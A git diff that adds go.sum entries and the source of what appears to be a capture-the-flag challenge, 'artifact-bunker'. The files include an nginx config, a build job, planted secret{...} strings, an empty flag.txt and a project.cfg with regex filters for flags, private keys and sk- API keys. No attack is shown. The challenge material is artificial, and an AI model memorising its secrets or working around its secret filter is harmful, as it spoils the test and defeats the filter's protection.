+golang.org/x/arch v0.0.0-20190927153633-4e8777c89be4/go.mod h1:flIaEI6LNU6xOCD5PaJvn9wGP0agmIOqjrtsKGRguv4= +golang.org/x/arch v0.3.0 h1:02VY4/ZcO/gBOH6PUaoiptASxtXU10jazRCP865E97k= +golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= +golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= +golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= +golang.org/x/exp v0.0.0-20230420155640-133eef4313cb h1:rhjz/8Mbfa8xROFiH+MQphmAmgqRM0bOMnytznhWEXk= +golang.org/x/exp v0.0.0-20230420155640-133eef4313cb/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w= +golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= +golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= +golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= +golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.8.0 h1:Zrh2ngAOFYneWTAIAPethzeaQLuHwhuBkuV6ZiRnUaQ= +golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.0.0-20220526004731-065cf7ba2467/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= +google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= +google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= +google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= +google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= +google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= +google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= +google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= +google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= +google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= +google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= +gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= +rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= diff --git a/artifact-bunker/src/minimize.sh b/artifact-bunker/src/minimize.sh new file mode 100755 index 0000000..4fe69f5 --- /dev/null +++ b/artifact-bunker/src/minimize.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +set -e + +terser app.js -c -o app.js +#terser style.css -c -o style.css +html-minifier-terser --collapse-whitespace index.html -o index.html diff --git a/artifact-bunker/src/nginx.conf b/artifact-bunker/src/nginx.conf new file mode 100644 index 0000000..eb1cdd0 --- /dev/null +++ b/artifact-bunker/src/nginx.conf @@ -0,0 +1,34 @@ +server { + listen 80; + server_name localhost; + + location / { + # Require password + #auth_basic "Restricted"; + #auth_basic_user_file /etc/nginx/password.ht; + + root /opt/static; + try_files $uri $uri/ /index.html; + } + location ^~ /static/ { + # Require password + #auth_basic "Restricted"; + #auth_basic_user_file /etc/nginx/password.ht; + + include /etc/nginx/mime.types; + alias /opt/static/; + } + + location /ws { + proxy_pass http://host.docker.internal:39723; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + } + + #location /static { + # alias /static; + #} +} diff --git a/artifact-bunker/src/project.cfg b/artifact-bunker/src/project.cfg new file mode 100644 index 0000000..9484d75 --- /dev/null +++ b/artifact-bunker/src/project.cfg @@ -0,0 +1,13 @@ +root: /project/ +job: build.job +filter: + secrets: + - 'flag[{].+[}]?' + - 'flug[{].+[}]?' + - 'secret[{].+[}]?' + - 'BEGIN \w+ PRIVATE KEY.+(END RSA)?' + - 'sk-[0-9a-zA-Z+=]+' + ignore: + - 'flag' + - '.tar' + - '.zip' diff --git a/artifact-bunker/src/project/build.job b/artifact-bunker/src/project/build.job new file mode 100644 index 0000000..1739bd4 --- /dev/null +++ b/artifact-bunker/src/project/build.job @@ -0,0 +1,8 @@ +job: + steps: + - use: archive + name: "{{.Name}}-{{.Commit}}-{{.Timestamp}}" + artifacts: + - "bunker-expansion-plan.txt" + - "new-layer-blueprint.txt" + diff --git a/artifact-bunker/src/project/bunker-expansion-plan.txt b/artifact-bunker/src/project/bunker-expansion-plan.txt new file mode 100644 index 0000000..8ca3141 --- /dev/null +++ b/artifact-bunker/src/project/bunker-expansion-plan.txt @@ -0,0 +1,9 @@ +Bunker expansion plans: +- Continue excavating remaining sediment under current bunker location +- Strike deal with local suppliers to provide required materials +- Contract architects to design new bunker layer +- Find amenable supplier for secret{experimental lab equipment for project gamma} +- Perform additional hvac and electrical work to support new bunker layer +- secret{Permanently seal bunker entrance to prevent discovery by enemy agents} +- ??? +- Profit diff --git a/artifact-bunker/src/project/flag.txt b/artifact-bunker/src/project/flag.txt new file mode 100755 index 0000000..e69de29 diff --git a/artifact-bunker/src/project/new-layer-blueprint.txt b/artifact-bunker/src/project/new-layer-blueprint.txt new file mode 100644 index 0000000..83a36f0 --- /dev/null +++ b/artifact-bunker/src/project/new-layer-blueprint.txt @@ -0,0 +1,6 @@ +,-----+------+-------------, +| | HVAC | | +|-----'---+--'--, | +| | | LAB | +| STORAGE | | | +`---------+-----+----------' diff --git a/artifact-bunker/src/static/DSEG14Modern-Regular.ttf b/artifact-bunker/src/static/DSEG14Modern-Regular.ttf new file mode 100755 index 0000000..a61b17d Binary files /dev/null and b/artifact-bunker/src/static/DSEG14Modern-Regular.ttf differ diff --git a/artifact-bunker/src/static/Microcement-Architextures.jpg b/artifact-bunker/src/static/Microcement-Architextures.jpg new file mode 100755 index 0000000..8095393 Binary files /dev/null and b/artifact-bunker/src/static/Microcement-Architextures.jpg differ diff --git a/artifact-bunker/src/static/app.js b/artifact-bunker/src/static/app.js new file mode 100644 index 0000000..497f69b --- /dev/null +++ b/artifact-bunker/src/static/app.js @@ -0,0 +1,527 @@ +let ws = null; +let ws_callback = null; +let ws_promise = null; + +window.ticket = localStorage.getItem('ticket'); + +let ticket_input = document.querySelector('#ticket'); +let ticket_error = document.querySelector('#ticket-error'); +if (window.ticket) { + 